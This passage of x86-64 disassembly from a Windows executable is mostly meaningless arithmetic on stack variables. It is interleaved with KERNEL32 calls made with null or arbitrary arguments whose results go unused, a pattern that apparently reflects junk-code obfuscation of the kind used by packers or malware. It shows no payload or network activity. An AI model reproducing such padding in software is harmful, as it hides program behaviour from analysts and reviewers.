movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c94], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x9810]
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14022b848]
sar rax, cl
mov qword [rsp + 0x9a80], rax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [0x14022b860]
movzx eax, word [rax]
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x9b58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b08], rax
movsx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa0], al
xor edx, edx
mov eax, dword [0x140229f2c]
mov ecx, 0x8f0
div ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9ba0]
mov qword [rsp + 0x9ca8], rax
lea rax, [rsp + 0x1cb8]
mov qword [0x14022b8a0], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, word [rax]
movzx ecx, word [0x140229f40]
sar eax, cl
mov word [rsp + 0x1cbc], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x345], al
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4658]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e9c], eax
mov rax, qword [0x14022b880]
mov rcx, qword [rsp + 0x7898]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov dword [rsp + 0x473c], eax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9670]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
lea rax, [rsp + 0x1c90]
mov qword [rsp + 0x9cb0], rax
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
shl eax, cl
mov word [0x14022b850], ax
mov rax, qword [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x7898]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x87c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb08c
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4724], eax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0x9bd8]
mov rcx, qword [rsp + 0x8180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c80], rax
lea rax, [rsp + 0x4710]
mov qword [rsp + 0x9cc0], rax
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [0x14022b811]
cdq
mov ecx, ILFindLastID
idiv ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
lea rax, [rsp + 0x8500]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cb0], ax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov qword [0x14022b8a8], rax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov byte [rsp + 0x34b], al
mov rax, qword [rsp + 0x9bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x460c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39f0], eax
lea rdx, [rsp + 0x4648]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4740], eax
mov rax, qword [0x14022b8a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9cb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a90]
mov word [rsp + 0x1cc4], ax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
sub eax, ecx
mov byte [rsp + 0x349], al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x77b0], rax
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x4278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4614], eax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1400], ax
lea rax, [rsp + 0x1c7c]
mov qword [0x14022b8b0], rax
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0x9cd0], rax
mov rax, qword [rsp + 0x9b90]
mov rcx, qword [rsp + 0x9810]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0x82e8]
mov qword [rsp + 0x9cd8], rax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1cb8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfafd
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45f8], eax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x8488]
mov rcx, qword [rsp + 0x9988]
mov qword [rsp + 0x9ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ce0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9c50], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x473c]
mov ecx, dword [rsp + 0x4710]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4230], eax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
mov dword [rsp + 0x4744], eax
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov rcx, qword [rsp + 0x98f8]
mov byte [rcx], al
lea rdx, [rsp + 0x46ec]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x468c], eax
lea rax, [rsp + 0x1ca0]
mov qword [0x14022b8b8], rax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [0x14022b8b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov word [rsp + 0x1cc8], ax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9780], rax
mov eax, dword [rsp + 0x4710]
mov ecx, dword [0x140229f2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x437c], eax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x9650]
mov qword [rsp + 0x9ce8], rax
movsx eax, word [0x140229f3c]
movsx ecx, word [rsp + 0x1c84]
sar eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x7898]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022b830], rax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x9bf8]
mov qword [rsp + 0x9cf0], rax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x9a68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9cc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x471c]
movzx ecx, al
mov eax, dword [rsp + 0x4710]
shl eax, cl
mov dword [rsp + 0x3e04], eax
mov eax, dword [rsp + 0x46ac]
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x345]
sub eax, ecx
mov rcx, qword [rsp + 0x9808]
mov byte [rcx], al
lea rax, [rsp + 0x346]
mov qword [rsp + 0x9cf8], rax
lea rax, [0x14022b87c]
mov qword [0x14022b8c0], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17d8]
sar eax, cl
mov word [rsp + 0x1c78], ax
movzx eax, word [rsp + 0x1cac]
movzx ecx, word [rsp + 0x15f8]
add eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [0x14022b860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b48]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a84], ax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x9c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov dword [rcx], eax
lea rax, [rsp + 0x6f80]
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x186], al
movzx eax, word [rsp + 0x1c94]
mov word [rsp + 0x1ccc], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cac], ax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [0x14022b840]
mov qword [rsp + 0x9d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d08]
mov rax, qword [rax]
shl rax, cl
mov qword [0x140229f48], rax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0x8ca8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [0x14022b868]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x76b0], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x39f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4630], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov byte [rsp + 0x34b], al
mov rax, qword [rsp + 0x9b58]
mov qword [rsp + 0x9d18], rax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
imul eax, ecx
mov rcx, qword [rsp + 0x9c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4710]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14022b878], eax
lea rax, [rsp + 0x1c98]
mov qword [rsp + 0x9d20], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov word [rcx], ax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1660]
and eax, ecx
mov word [rsp + 0x87c], ax
lea rdx, [rsp + 0x4708]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4644], eax
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d08], rax
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x9c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x34c], al
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov ecx, dword [0x14022b878]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x437c], eax
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x1c9c]
sar eax, cl
mov word [rsp + 0x1c78], ax
lea rax, [rsp + 0x1c8c]
mov qword [0x14022b8c8], rax
lea rax, [0x140229f20]
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
shl eax, cl
mov word [rsp + 0x1a90], ax
lea rax, [rsp + 0x34b]
mov qword [rsp + 0x9d40], rax
mov eax, dword [rsp + 0x45c8]
mov ecx, dword [rsp + 0x4658]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4718]
mov dword [rsp + 0x474c], eax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x9870]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
movsx eax, byte [0x14022b811]
movsx ecx, byte [rsp + 0x343]
add eax, ecx
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0x9d20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov word [0x14022b89c], ax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x8180]
mov rcx, qword [0x14022b838]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b28], rax
lea rax, [rsp + 0x9660]
mov qword [rsp + 0x9d48], rax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c88], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9d50], rax
movzx eax, word [0x140229f28]
movzx ecx, word [rsp + 0xb30]
sar eax, cl
mov word [rsp + 0x1ca8], ax
mov rax, qword [rsp + 0x9b20]
movzx eax, byte [rax]
mov byte [rsp + 0x34d], al
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x77b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bc0], rax
mov eax, dword [rsp + 0x437c]
mov ecx, dword [0x14022b878]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e6c], eax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9708]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9be8]
mov qword [rcx], rax
mov rax, qword [0x14022b8a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c94]
and eax, ecx
mov word [0x140229f50], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov dword [rsp + 0x4750], eax
movzx eax, byte [rsp + 0x344]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
lea rcx, [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9c28]
mov qword [rsp + 0x9d58], rax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c20]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x8500]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9a00], rax
lea rax, [rsp + 0x437c]
mov qword [rsp + 0x9d60], rax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1ccc]
sar eax, cl
mov word [rsp + 0x17d8], ax
movzx eax, word [0x14022b824]
movzx ecx, word [rsp + 0x1a90]
add eax, ecx
mov word [0x140229f28], ax
lea rax, [rsp + 0x9ba0]
mov qword [rsp + 0x9d68], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a84]
add eax, ecx
mov word [rsp + 0x1a90], ax
movsx eax, word [0x14022b828]
movsx ecx, word [rsp + 0x1c90]
sub eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x9bf8]
mov rcx, qword [rsp + 0x8d08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x474c]
movzx ecx, al
mov eax, dword [0x14022b878]
shr eax, cl
mov rcx, qword [rsp + 0x9c40]
mov dword [rcx], eax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x9d70], rax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x99e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov word [rsp + 0x1cd0], ax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0x9ba0]
sub rcx, rax
mov rax, rcx
mov qword [0x140229f48], rax
movzx eax, byte [rsp + 0x34b]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0x344], al
mov eax, dword [rsp + 0x4744]
mov ecx, dword [rsp + 0x4750]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44e0], eax
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a84]
shl eax, cl
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x9750]
movzx eax, byte [rax]
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9878]
mov qword [rsp + 0x9d78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9b08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x9848]
movzx eax, word [rax]
mov word [rsp + 0x1cd4], ax
movzx eax, word [rsp + 0x1cb0]
mov word [0x14022b8d0], ax
mov rax, qword [0x14022b880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x9d80], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9ba0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1394], ax
mov eax, dword [rsp + 0x3e04]
mov ecx, dword [rsp + 0x437c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0x8c20]
movzx ecx, al
mov rax, qword [rsp + 0x9bc0]
shr rax, cl
mov qword [rsp + 0x8ef0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9d88], rax
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
mov byte [rsp + 0x34f], al
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x9998]
mov rcx, qword [rsp + 0x99c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3db8], eax
mov rax, qword [rsp + 0x9c18]
movzx eax, word [rax]
mov word [0x14022b8d4], ax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0xb30]
shl eax, cl
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
or eax, ecx
mov word [rsp + 0x1cbc], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov qword [rsp + 0x9d90], rax
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov qword [rsp + 0x9d98], rax
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x34d]
sar eax, cl
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1400]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa2c], ax
lea rax, [rsp + 0x15f8]
mov qword [rsp + 0x9da0], rax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9c28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022b880]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a84], ax
mov rax, qword [0x14022b888]
mov rcx, qword [rsp + 0x9cd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x7898]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [0x14022b808]
movzx ecx, al
mov rax, qword [rsp + 0x8500]
shr rax, cl
mov qword [rsp + 0x9c50], rax
movzx eax, byte [rsp + 0x186]
mov byte [rsp + 0x350], al
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x3e9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x9c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3e04], eax
mov rax, qword [rsp + 0x9bd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14022b820], ax
movzx eax, word [0x140229f38]
mov word [rsp + 0x1cd8], ax
movzx eax, word [rsp + 0x1cc0]
mov rcx, qword [rsp + 0x9d10]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1cd0], ax
movzx eax, word [rsp + 0x1ca4]
mov rcx, qword [0x14022b8b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9990]
mov qword [rsp + 0x9da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9da8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3d60], eax
mov rax, qword [rsp + 0x9bc0]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, byte [rsp + 0x277]
mov byte [rsp + 0x351], al
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x87c]
and eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
lea rax, [rsp + 0x9d90]
mov qword [0x14022b8d8], rax
lea rax, [rsp + 0x9ca8]
mov qword [rsp + 0x9db0], rax
mov r9d, 0xa39
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
lea rax, [rsp + 0x9b28]
mov qword [rsp + 0x9db8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x1cd0]
add eax, ecx
mov rcx, qword [rsp + 0x9d10]
mov word [rcx], ax
lea rdx, [rsp + 0x4724]
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x429c]
sar eax, cl
mov dword [rsp + 0x39f0], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov byte [rsp + 0x352], al
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9990]
mov eax, dword [rax]
mov ecx, dword [0x140229f30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4718], eax
mov r9d, 0x15eb
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x9a00]
movzx ecx, al
mov rax, qword [rsp + 0x9870]
shl rax, cl
mov qword [rsp + 0x75e8], rax
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x1e9d0]
add rcx, rax
mov rax, rcx
add rax, 0x31
mov byte [rax], 1
mov rax, qword [rsp + 0x98b8]
